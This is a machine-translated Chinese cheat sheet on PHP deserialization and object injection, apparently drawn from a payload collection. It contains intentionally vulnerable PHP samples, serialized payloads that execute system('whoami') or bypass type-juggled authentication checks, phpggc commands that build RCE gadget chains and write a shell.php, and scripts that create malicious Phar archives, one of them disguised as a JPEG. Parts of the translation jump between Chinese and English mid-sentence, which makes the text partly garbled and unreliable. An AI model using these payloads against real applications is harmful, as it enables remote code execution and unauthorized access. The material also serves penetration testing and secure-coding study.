PHP反序列化


文档摘要

PHP 反序列化 PHP 对象注入是一种应用层漏洞,攻击者可以利用它在不同上下文中发起多种恶意攻击,例如代码注入、SQL 注入、路径遍历和应用拒绝服务。当用户提供的输入在传递给 PHP 的 函数之前未经过适当的清理时,就会出现此漏洞。由于 PHP 支持对象序列化,攻击者可以将自定义的序列化字符串传递给易受攻击的 调用,从而在应用程序的作用域中注入任意 PHP 对象。 概要 基本概念 身份验证绕过 对象注入 查找并使用 gadget Phar 反序列化 真实世界示例 参考文献 基本概念 以下魔术方法有助于实现 PHP 对象注入: :在对象被反序列化时调用。 :在对象被销毁时调用。 :在对象被转换为字符串时调用。 此外,您还应查看 文件包含 中的 ,其中使用了 PHP 对象注入。

PHP 反序列化

PHP 对象注入是一种应用层漏洞,攻击者可以利用它在不同上下文中发起多种恶意攻击,例如代码注入、SQL 注入、路径遍历和应用拒绝服务。当用户提供的输入在传递给 PHP 的 unserialize() 函数之前未经过适当的清理时,就会出现此漏洞。由于 PHP 支持对象序列化,攻击者可以将自定义的序列化字符串传递给易受攻击的 unserialize() 调用,从而在应用程序的作用域中注入任意 PHP 对象。

概要

基本概念

以下魔术方法有助于实现 PHP 对象注入:

  • __wakeup():在对象被反序列化时调用。
  • __destruct():在对象被销毁时调用。
  • __toString():在对象被转换为字符串时调用。

此外,您还应查看 文件包含 中的 Wrapper Phar://,其中使用了 PHP 对象注入。

易受攻击的代码:

<?php class PHPObjectInjection{ public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)){ eval($this->inject); } } } if(isset($_REQUEST['r'])){ $var1=unserialize($_REQUEST['r']); if(is_array($var1)){ echo "<br/>".$var1[0]." - ".$var1[1]; } } else{ echo ""; # nothing happens here } ?>

使用应用程序中的现有代码构造有效载荷。

  • 基本序列化数据

    a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
  • 执行命令

    string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"

安全认证绕过

类型强制转换

易受攻击的代码:

<?php $data = unserialize($_COOKIE['auth']); if ($data['username'] == $adminName && $data['password'] == $adminPassword) { $admin = true; } else { $admin = false; }

有效载荷:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

因为 true == "str" 的结果为 true。

对象注入

易受攻击的代码:

<?php class ObjectExample { var $guess; var $secretCode; } $obj = unserialize($_GET['input']); if($obj) { $obj->secretCode = rand(500000,999999); if($obj->guess === $obj->secretCode) { echo "Win"; } } ?>

有效载荷:

O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}

我们也可以这样构造一个数组:

a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}

查找并使用 gadget

也被称为“PHP POP 链”`, they can be used to gain RCE on the system.

  • In PHP source code, look for unserialize() function.
  • Interesting Magic Methods such as __construct()`,`__destruct()`,`__call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep()`,`__wakeup()`,`__serialize(), __unserialize()`,`__toString()`,`__invoke(), __set_state(), __clone(), and __debugInfo():
    • ``__construct()`:PHP 允许开发者为类声明构造函数方法。具有构造函数方法的类会在每个新创建的对象上调用该方法,因此它适用于对象在使用前可能需要的任何初始化。php.net
    • __destruct():析构函数方法将在没有任何其他引用指向特定对象时立即调用,或者在关闭顺序中的任何时间点调用。php.net
    • __call(string $name, array $arguments): The $name argument is the name of the method being called. The $arguments argument is an enumerated array containing the parameters passed to the $name'ed method. php.net
    • __callStatic(string $name, array $arguments): The $name argument is the name of the method being called. The $arguments argument is an enumerated array containing the parameters passed to the $name'ed method. php.net
    • __get(string $name): __get() is utilized for reading data from inaccessible (protected or private) or non-existing properties. php.net
    • __set(string $name, mixed $value): __set() is run when writing data to inaccessible (protected or private) or non-existing properties. php.net
    • __isset(string $name): __isset() is triggered by calling isset() or empty() on inaccessible (protected or private) or non-existing properties. php.net
    • __unset(string $name): __unset() is invoked when unset() is used on inaccessible (protected or private) or non-existing properties. php.net
    • __sleep(): serialize() checks if the class has a function with the magic name __sleep()。如果存在此方法,则在任何序列化之前会执行该函数。它可以清理对象,并且应该返回一个包含该对象所有应被序列化的变量名称的数组。如果该方法没有返回任何内容,则序列化 null 并发出 E_NOTICEphp.net
    • __wakeup()unserialize() 会检查是否存在名为 __wakeup() 的魔术方法。如果存在,此方法可以重建对象可能拥有的任何资源。__wakeup() 的预期用途是重新建立在序列化过程中可能丢失的任何数据库连接,并执行其他重新初始化任务。php.net
    • __serialize(): serialize() checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown. php.net
    • __unserialize(array $data):此函数将接收从 __serialize() 返回的已恢复数组。php.net
    • __toString()__toString() 方法允许类决定在被视为字符串时如何反应。php.net
    • __invoke(): The __invoke() method is called when a script tries to call an object as a function. php.net
    • __set_state(array $properties): This static method is called for classes exported by var_export(). php.net
    • __clone(): Once the cloning is complete, if a __clone() method is defined, then the newly created object's __clone() method will be called, to allow any necessary properties that need to be changed. php.net
    • __debugInfo(): This method is called by var_dump() 在转储对象以获取应显示的属性时调用。如果某个对象未定义此方法,则会显示所有公有、受保护和私有属性。php.net

ambionics/phpggc 是一款基于多个框架生成有效载荷的工具:

  • Laravel
  • Symfony
  • SwiftMailer
  • Monolog
  • SlimPHP
  • Doctrine
  • Guzzle
phpggc monolog/rce1 'phpinfo();' -s phpggc monolog/rce1 assert 'phpinfo()' phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini

Phar 反序列化

使用 phar:// wrapper, one can trigger a deserialization on the specified file like in file_get_contents("phar://./archives/app.phar").

A valid PHAR includes four elements:

  1. Stub: The stub is a chunk of PHP code which is executed when the file is accessed in an executable context. At a minimum, the stub must contain __HALT_COMPILER(); at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub.
  2. Manifest: Contains metadata about the archive and its contents.
  3. File Contents: Contains the actual files in the archive.
  4. Signature(optional): For verifying archive integrity.
  • Example of a Phar creation in order to exploit a custom PDFGenerator

    <?php class PDFGenerator { } //Create a new instance of the Dummy class and modify its property $dummy = new PDFGenerator(); $dummy->callback = "passthru"; $dummy->fileName = "uname -a > pwned"; //our payload // Delete any existing PHAR archive with that name @unlink("poc.phar"); // Create a new archive $poc = new Phar("poc.phar"); // Add all write operations to a buffer, without modifying the archive on disk $poc->startBuffering(); // Set the stub $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();"); /* Add a new file in the archive with "text" as its content*/ $poc["file"] = "text"; // Add the dummy object to the metadata. This will be serialized $poc->setMetadata($dummy); // Stop buffering and write changes to disk $poc->stopBuffering(); ?>
  • 使用 JPEG 魔术字节头创建 Phar 的示例,因为对存根的内容没有限制。

    <?php class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering();

实际案例

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U